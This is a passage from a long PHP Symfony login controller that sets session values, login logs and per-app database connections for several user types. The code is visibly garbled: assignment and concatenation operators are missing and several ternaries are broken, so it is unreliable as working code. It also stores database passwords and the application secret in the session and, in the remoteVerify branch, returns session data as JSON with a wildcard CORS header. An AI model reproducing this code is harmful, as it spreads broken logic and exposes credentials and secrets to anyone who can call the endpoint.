  4918.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  4919.                     $position_list_array json_decode($user->getPositionIds(), true);
  4920.                     if ($position_list_array == null$position_list_array = [];
  4921.                     $filtered_pos_array = [];
  4922.                     foreach ($position_list_array as $defPos)
  4923.                         if ($defPos != '' && $defPos != 0)
  4924.                             $filtered_pos_array[] = $defPos;
  4925.                     $position_list_array $filtered_pos_array;
  4926.                     if (!empty($position_list_array))
  4927.                         foreach ($position_list_array as $defPos)
  4928.                             if ($defPos != '' && $defPos != && $curr_position_id == 0) {
  4929.                                 $curr_position_id $defPos;
  4930.                             }
  4931.                     $userDefaultRoute $user->getDefaultRoute();
  4932. //                    $userDefaultRoute = 'MATHA';
  4933.                     $allModuleAccessFlag 1;
  4934.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  4935.                         $userDefaultRoute '';
  4936. //                    $route_list_array = Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id, $userId);
  4937.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4938.                     if (isset($companyList[$userCompanyId])) {
  4939.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  4940.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  4941.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  4942.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  4943.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  4944.                     }
  4945.                     if ($allModuleAccessFlag == 1)
  4946.                         $prohibit_list_array = [];
  4947.                     else if ($curr_position_id != 0)
  4948.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  4949.                     $loginID $this->get('user_module')->addUserLoginLog(
  4950.                         $userId,
  4951.                         $request->server->get("REMOTE_ADDR"),
  4952.                         $curr_position_id
  4953.                     );
  4954.                     $appIdList json_decode($user->getUserAppIdList());
  4955.                     $branchIdList json_decode($user->getUserBranchIdList());
  4956.                     if ($branchIdList == null$branchIdList = [];
  4957.                     $branchId $user->getUserBranchId();
  4958.                     if ($appIdList == null$appIdList = [];
  4959. //
  4960. //                    if (!in_array($user->getUserAppId(), $appIdList))
  4961. //                        $appIdList[] = $user->getUserAppId();
  4962. //
  4963. //                    foreach ($appIdList as $currAppId) {
  4964. //                        if ($currAppId == $user->getUserAppId()) {
  4965. //
  4966. //                            foreach ($company_id_list as $index_company => $company_id) {
  4967. //                                $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $company_id;
  4968. //                                $app_company_index = $currAppId . '_' . $company_id;
  4969. //                                $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  4970. //                                $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  4971. //                            }
  4972. //                        } else {
  4973. //
  4974. //                            $dataToConnect = System::changeDoctrineManagerByAppId(
  4975. //                                $this->getDoctrine()->getManager('company_group'),
  4976. //                                $gocEnabled,
  4977. //                                $currAppId
  4978. //                            );
  4979. //                            if (!empty($dataToConnect)) {
  4980. //                                $connector = $this->container->get('application_connector');
  4981. //                                $connector->resetConnection(
  4982. //                                    'default',
  4983. //                                    $dataToConnect['dbName'],
  4984. //                                    $dataToConnect['dbUser'],
  4985. //                                    $dataToConnect['dbPass'],
  4986. //                                    $dataToConnect['dbHost'],
  4987. //                                    $reset = true
  4988. //                                );
  4989. //                                $em = $this->getDoctrine()->getManager();
  4990. //
  4991. //                                $companyList = Company::getCompanyListWithImage($em);
  4992. //                                foreach ($companyList as $c => $dta) {
  4993. //                                    //                                $company_id_list[]=$c;
  4994. //                                    //                                $company_name_list[$c] = $companyList[$c]['name'];
  4995. //                                    //                                $company_image_list[$c] = $companyList[$c]['image'];
  4996. //                                    $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $c;
  4997. //                                    $app_company_index = $currAppId . '_' . $c;
  4998. //                                    $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  4999. //                                    $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  5000. //                                }
  5001. //                            }
  5002. //                        }
  5003. //                    }
  5004.                 } else if ($userType == UserConstants::USER_TYPE_MANAGEMENT_USER) {
  5005.                     // General User
  5006.                     $employeeId 0;
  5007.                     $currentMonthHolidayList = [];
  5008.                     $currentHolidayCalendarId 0;
  5009.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  5010.                         ->findOneBy(
  5011.                             array(
  5012.                                 'userId' => $user->getUserId()
  5013.                             )
  5014.                         );
  5015.                     if ($employeeObj) {
  5016.                         $employeeId $employeeObj->getEmployeeId();
  5017.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  5018.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  5019.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  5020.                     }
  5021.                     $session->set(UserConstants::USER_EMPLOYEE_IDstrval($employeeId));
  5022.                     $session->set(UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTHjson_encode($currentMonthHolidayList));
  5023.                     $session->set(UserConstants::USER_HOLIDAY_CALENDAR_ID$currentHolidayCalendarId);
  5024.                     $session->set(UserConstants::USER_ID$user->getUserId());
  5025.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  5026.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_MANAGEMENT_USER);
  5027.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  5028.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  5029.                     $session->set(UserConstants::USER_NAME$user->getName());
  5030.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  5031.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  5032.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  5033.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  5034.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  5035.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  5036.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  5037.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  5038.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  5039.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  5040.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  5041.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  5042.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  5043.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  5044.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  5045.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  5046.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  5047.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  5048.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  5049.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  5050.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  5051.                     if (count(json_decode($user->getPositionIds(), true)) > 1) {
  5052.                         return $this->redirectToRoute("user_login_position");
  5053.                     } else {
  5054.                         $PL json_decode($user->getPositionIds(), true);
  5055.                         $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId());
  5056.                         $session->set(UserConstants::USER_CURRENT_POSITION$PL[0]);
  5057.                         $loginID $this->get('user_module')->addUserLoginLog(
  5058.                             $session->get(UserConstants::USER_ID),
  5059.                             $request->server->get("REMOTE_ADDR"),
  5060.                             $PL[0]
  5061.                         );
  5062.                         $session->set(UserConstants::USER_LOGIN_ID$loginID);
  5063.                         //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  5064.                         $session->set(UserConstants::USER_GOC_ID$gocId);
  5065.                         $session->set(UserConstants::USER_DB_NAME$gocDbName);
  5066.                         $session->set(UserConstants::USER_DB_USER$gocDbUser);
  5067.                         $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  5068.                         $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  5069.                         $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  5070.                         $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  5071.                         $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  5072.                         $appIdList json_decode($user->getUserAppIdList());
  5073.                         if ($appIdList == null$appIdList = [];
  5074.                         $companyIdListByAppId = [];
  5075.                         $companyNameListByAppId = [];
  5076.                         $companyImageListByAppId = [];
  5077.                         if (!in_array($user->getUserAppId(), $appIdList))
  5078.                             $appIdList[] = $user->getUserAppId();
  5079.                         foreach ($appIdList as $currAppId) {
  5080.                             if ($currAppId == $user->getUserAppId()) {
  5081.                                 foreach ($company_id_list as $index_company => $company_id) {
  5082.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  5083.                                     $app_company_index $currAppId '_' $company_id;
  5084.                                     $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  5085.                                     $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  5086.                                 }
  5087.                             } else {
  5088.                                 $dataToConnect System::changeDoctrineManagerByAppId(
  5089.                                     $this->getDoctrine()->getManager('company_group'),
  5090.                                     $gocEnabled,
  5091.                                     $currAppId
  5092.                                 );
  5093.                                 if (!empty($dataToConnect)) {
  5094.                                     $connector $this->container->get('application_connector');
  5095.                                     $connector->resetConnection(
  5096.                                         'default',
  5097.                                         $dataToConnect['dbName'],
  5098.                                         $dataToConnect['dbUser'],
  5099.                                         $dataToConnect['dbPass'],
  5100.                                         $dataToConnect['dbHost'],
  5101.                                         $reset true
  5102.                                     );
  5103.                                     $em $this->getDoctrine()->getManager();
  5104.                                     $companyList Company::getCompanyListWithImage($em);
  5105.                                     foreach ($companyList as $c => $dta) {
  5106.                                         //                                $company_id_list[]=$c;
  5107.                                         //                                $company_name_list[$c] = $companyList[$c]['name'];
  5108.                                         //                                $company_image_list[$c] = $companyList[$c]['image'];
  5109.                                         $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  5110.                                         $app_company_index $currAppId '_' $c;
  5111.                                         $company_locale $companyList[$c]['locale'];
  5112.                                         $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  5113.                                         $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  5114.                                     }
  5115.                                 }
  5116.                             }
  5117.                         }
  5118.                         $session->set('appIdList'$appIdList);
  5119.                         $session->set('companyIdListByAppId'$companyIdListByAppId);
  5120.                         $session->set('companyNameListByAppId'$companyNameListByAppId);
  5121.                         $session->set('companyImageListByAppId'$companyImageListByAppId);
  5122.                         $branchIdList json_decode($user->getUserBranchIdList());
  5123.                         $branchId $user->getUserBranchId();
  5124.                         $session->set('branchIdList'$branchIdList);
  5125.                         $session->set('branchId'$branchId);
  5126.                         if ($user->getAllModuleAccessFlag() == 1)
  5127.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  5128.                         else
  5129.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId())));
  5130.                         $session_data = array(
  5131.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  5132.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  5133.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  5134.                             'oAuthToken' => $session->get('oAuthToken'),
  5135.                             'locale' => $session->get('locale'),
  5136.                             'firebaseToken' => $session->get('firebaseToken'),
  5137.                             'token' => $session->get('token'),
  5138.                             'firstLogin' => $firstLogin,
  5139.                             'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  5140.                             'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  5141.                             UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  5142.                             UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  5143.                             UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  5144.                             UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  5145.                             UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  5146.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  5147.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  5148.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  5149.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  5150.                             'oAuthImage' => $session->get('oAuthImage'),
  5151.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  5152.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  5153.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  5154.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  5155.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  5156.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  5157.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  5158.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  5159.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  5160.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  5161.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  5162.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  5163.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  5164.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  5165.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  5166.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  5167.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  5168.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  5169.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  5170.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  5171.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  5172.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  5173.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  5174.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  5175.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  5176.                             //new
  5177.                             'appIdList' => $session->get('appIdList'),
  5178.                             'branchIdList' => $session->get('branchIdList'null),
  5179.                             'branchId' => $session->get('branchId'null),
  5180.                             'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  5181.                             'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  5182.                             'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  5183.                         );
  5184.                         $session_data $this->filterClientSessionData($session_data);
  5185.                         $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  5186.                         $session_data $tokenData['sessionData'];
  5187.                         $token $tokenData['token'];
  5188.                         $session->set('token'$token);
  5189.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  5190.                             $session->set('remoteVerified'1);
  5191.                             $response = new JsonResponse(array(
  5192.                                 'uid' => $session->get(UserConstants::USER_ID),
  5193.                                 'session' => $session,
  5194.                                 'token' => $token,
  5195.                                 'success' => true,
  5196.                                 'session_data' => $session_data,
  5197.                             ));
  5198.                             $response->headers->set('Access-Control-Allow-Origin''*');
  5199.                             return $response;
  5200.                         }
  5201.                         if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  5202.                             if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  5203.                                 if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  5204.                                     $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  5205.                                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5206.                                     return $this->redirect($red);
  5207.                                 }
  5208.                             } else {
  5209.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5210.                             }
  5211.                         } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  5212.                             return $this->redirectToRoute("dashboard");
  5213.                         else
  5214.                             return $this->redirectToRoute($user->getDefaultRoute());
  5215. //                        if ($request->server->has("HTTP_REFERER")) {
  5216. //                            if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != ''  && $request->server->get('HTTP_REFERER') != null) {
  5217. //                                return $this->redirect($request->request->get('HTTP_REFERER'));
  5218. //                            }
  5219. //                        }
  5220. //
  5221. //                        //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  5222. //                        if ($request->request->has('referer_path')) {
  5223. //                            if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '' && $request->request->get('referer_path') != null) {
  5224. //                                return $this->redirect($request->request->get('referer_path'));
  5225. //                            }
  5226. //                        }
  5227. //                        //                    if($request->request->has('gocId')
  5228. //
  5229. //                        if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  5230. //                            return $this->redirectToRoute("dashboard");
  5231. //                        else
  5232. //                            return $this->redirectToRoute($user->getDefaultRoute());
  5233.                     }
  5234.                 } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  5235.                     $applicantId $user->getApplicantId();
  5236.                     $userId $user->getApplicantId();
  5237.                     $globalId $user->getApplicantId();
  5238.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  5239.                     $isConsultant $user->getIsConsultant() == 0;
  5240.                     $isRetailer $user->getIsRetailer() == 0;
  5241.                     $retailerLevel $user->getRetailerLevel() == 0;
  5242.                     $adminLevel $user->getIsAdmin() == ? (($user->getAdminLevel() != null && $user->getAdminLevel() != 0) ? $user->getAdminLevel() : 1) : ($user->getIsModerator() == 0);
  5243.                     $isModerator $user->getIsModerator() == 0;
  5244.                     $isAdmin $user->getIsAdmin() == 0;
  5245.                     $userEmail $user->getOauthEmail();
  5246.                     $userImage $user->getImage();
  5247.                     $userFullName $user->getFirstName() . ' ' $user->getLastName();
  5248.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  5249.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  5250.                     $buddybeeBalance $user->getAccountBalance();
  5251.                     $buddybeeCoinBalance $user->getSessionCountBalance();
  5252.                     $userDefaultRoute 'applicant_dashboard';
  5253. //            $userAppIds = json_decode($user->getUserAppIds(), true);
  5254.                     $userAppIds = [];
  5255.                     $userSuspendedAppIds json_decode($user->getUserSuspendedAppIds(), true);
  5256.                     $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  5257.                     if ($userAppIds == null$userAppIds = [];
  5258.                     if ($userSuspendedAppIds == null$userSuspendedAppIds = [];
  5259.                     if ($userTypesByAppIds == null$userTypesByAppIds = [];
  5260.                     foreach ($userTypesByAppIds as $aid => $accData)
  5261.                         if (in_array($aid$userSuspendedAppIds))
  5262.                             unset($userTypesByAppIds[$aid]);
  5263.                         else
  5264.                             $userAppIds[] = $aid;
  5265. //                    $userAppIds=array_diff($userAppIds,$userSuspendedAppIds);
  5266.                     if ($user->getOAuthEmail() == '' || $user->getOAuthEmail() == null$currRequiredPromptFields[] = 'email';
  5267.                     if ($user->getPhone() == '' || $user->getPhone() == null$currRequiredPromptFields[] = 'phone';
  5268.                     if ($user->getCurrentCountryId() == '' || $user->getCurrentCountryId() == null || $user->getCurrentCountryId() == 0$currRequiredPromptFields[] = 'currentCountryId';
  5269.                     if ($user->getPreferredConsultancyTopicCountryIds() == '' || $user->getPreferredConsultancyTopicCountryIds() == null || $user->getPreferredConsultancyTopicCountryIds() == '[]'$currRequiredPromptFields[] = 'preferredConsultancyTopicCountryIds';
  5270.                     if ($user->getIsConsultant() == && ($user->getPreferredTopicIdsAsConsultant() == '' || $user->getPreferredTopicIdsAsConsultant() == null || $user->getPreferredTopicIdsAsConsultant() == '[]')) $currRequiredPromptFields[] = 'preferredTopicIdsAsConsultant';
  5271.                     $loginID MiscActions::addEntityUserLoginLog(
  5272.                         $em_goc,
  5273.                         $userId,
  5274.                         $applicantId,
  5275.                         1,
  5276.                         $request->server->get("REMOTE_ADDR"),
  5277.                         0,
  5278.                         $request->request->get('deviceId'''),
  5279.                         $request->request->get('oAuthToken'''),
  5280.                         $request->request->get('oAuthType'''),
  5281.                         $request->request->get('locale'''),
  5282.                         $request->request->get('firebaseToken''')
  5283.                     );
  5284.                 } else if ($userType == UserConstants::USER_TYPE_GENERAL) {
  5285.                     // General User
  5286.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  5287.                         ->findOneBy(
  5288.                             array(
  5289.                                 'userId' => $user->getUserId()
  5290.                             )
  5291.                         );
  5292.                     if ($employeeObj) {
  5293.                         $employeeId $employeeObj->getEmployeeId();
  5294.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  5295.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  5296.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  5297.                     }
  5298.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  5299.                         ->findOneBy(
  5300.                             array(
  5301.                                 'userId' => $user->getUserId(),
  5302.                                 'workingStatus' => 1
  5303.                             )
  5304.                         );
  5305.                     if ($currentTask) {
  5306.                         $currentTaskId $currentTask->getId();
  5307.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  5308.                     }
  5309.                     $userId $user->getUserId();
  5310.                     $userCompanyId 1;
  5311.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  5312.                     $userEmail $user->getEmail();
  5313.                     $userImage $user->getImage();
  5314.                     $userFullName $user->getName();
  5315.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  5316.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  5317.                     $position_list_array json_decode($user->getPositionIds(), true);
  5318.                     if ($position_list_array == null$position_list_array = [];
  5319.                     $filtered_pos_array = [];
  5320.                     foreach ($position_list_array as $defPos)
  5321.                         if ($defPos != '' && $defPos != 0)
  5322.                             $filtered_pos_array[] = $defPos;
  5323.                     $position_list_array $filtered_pos_array;
  5324.                     if (!empty($position_list_array))
  5325.                         foreach ($position_list_array as $defPos)
  5326.                             if ($defPos != '' && $defPos != && $curr_position_id == 0) {
  5327.                                 $curr_position_id $defPos;
  5328.                             }
  5329.                     $userDefaultRoute $user->getDefaultRoute();
  5330.                     $allModuleAccessFlag $user->getAllModuleAccessFlag() == 0;
  5331.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  5332.                         $userDefaultRoute 'dashboard';
  5333.                     $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id$userId);
  5334.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  5335.                     if (isset($companyList[$userCompanyId])) {
  5336.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  5337.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  5338.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  5339.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  5340.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  5341.                     }
  5342.                     if ($allModuleAccessFlag == 1)
  5343.                         $prohibit_list_array = [];
  5344.                     else if ($curr_position_id != 0)
  5345.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  5346.                     $loginID $this->get('user_module')->addUserLoginLog(
  5347.                         $userId,
  5348.                         $request->server->get("REMOTE_ADDR"),
  5349.                         $curr_position_id
  5350.                     );
  5351.                     $appIdList json_decode($user->getUserAppIdList());
  5352.                     $branchIdList json_decode($user->getUserBranchIdList());
  5353.                     if ($branchIdList == null$branchIdList = [];
  5354.                     $branchId $user->getUserBranchId();
  5355.                     if ($appIdList == null$appIdList = [];
  5356.                     if (!in_array($user->getUserAppId(), $appIdList))
  5357.                         $appIdList[] = $user->getUserAppId();
  5358.                     foreach ($appIdList as $currAppId) {
  5359.                         if ($currAppId == $user->getUserAppId()) {
  5360.                             foreach ($company_id_list as $index_company => $company_id) {
  5361.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  5362.                                 $app_company_index $currAppId '_' $company_id;
  5363.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  5364.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  5365.                             }
  5366.                         } else {
  5367.                             $dataToConnect System::changeDoctrineManagerByAppId(
  5368.                                 $this->getDoctrine()->getManager('company_group'),
  5369.                                 $gocEnabled,
  5370.                                 $currAppId
  5371.                             );
  5372.                             if (!empty($dataToConnect)) {
  5373.                                 $connector $this->container->get('application_connector');
  5374.                                 $connector->resetConnection(
  5375.                                     'default',
  5376.                                     $dataToConnect['dbName'],
  5377.                                     $dataToConnect['dbUser'],
  5378.                                     $dataToConnect['dbPass'],
  5379.                                     $dataToConnect['dbHost'],
  5380.                                     $reset true
  5381.                                 );
  5382.                                 $em $this->getDoctrine()->getManager();
  5383.                                 $companyList Company::getCompanyListWithImage($em);
  5384.                                 foreach ($companyList as $c => $dta) {
  5385.                                     //                                $company_id_list[]=$c;
  5386.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  5387.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  5388.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  5389.                                     $app_company_index $currAppId '_' $c;
  5390.                                     $company_locale $companyList[$c]['locale'];
  5391.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  5392.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  5393.                                 }
  5394.                             }
  5395.                         }
  5396.                     }
  5397.                     if (count($position_list_array) > 1) {
  5398.                         $userForcedRoute 'user_login_position';
  5399. //                        return $this->redirectToRoute("user_login_position");
  5400.                     } else {
  5401.                     }
  5402.                 }
  5403.                 if ($userType == UserConstants::USER_TYPE_APPLICANT ||
  5404.                     $userType == UserConstants::USER_TYPE_GENERAL ||
  5405.                     $userType == UserConstants::USER_TYPE_SYSTEM
  5406.                 ) {
  5407.                     $session_data = array(
  5408.                         UserConstants::USER_ID => $userId,
  5409.                         UserConstants::USER_EMPLOYEE_ID => $employeeId,
  5410.                         UserConstants::APPLICANT_ID => $applicantId,
  5411.                         UserConstants::USER_CURRENT_TASK_ID => $currentTaskId,
  5412.                         UserConstants::USER_CURRENT_PLANNING_ITEM_ID => $currentPlanningItemId,
  5413.                         UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTH => json_encode($currentMonthHolidayList),
  5414.                         UserConstants::USER_HOLIDAY_CALENDAR_ID => $currentHolidayCalendarId,
  5415.                         UserConstants::SUPPLIER_ID => $supplierId,
  5416.                         UserConstants::CLIENT_ID => $clientId,
  5417.                         UserConstants::USER_TYPE => $userType,
  5418.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $lastSettingsUpdatedTs == null $lastSettingsUpdatedTs,
  5419.                         UserConstants::IS_CONSULTANT => $isConsultant,
  5420.                         UserConstants::IS_BUDDYBEE_RETAILER => $isRetailer,
  5421.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $retailerLevel,
  5422.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $adminLevel,
  5423.                         UserConstants::IS_BUDDYBEE_MODERATOR => $isModerator,
  5424.                         UserConstants::IS_BUDDYBEE_ADMIN => $isAdmin,
  5425.                         UserConstants::USER_EMAIL => $userEmail == null "" $userEmail,
  5426.                         UserConstants::USER_IMAGE => $userImage == null "" $userImage,
  5427.                         UserConstants::USER_NAME => $userFullName,
  5428.                         UserConstants::USER_DEFAULT_ROUTE => $userDefaultRoute,
  5429.                         UserConstants::USER_COMPANY_ID => $userCompanyId,
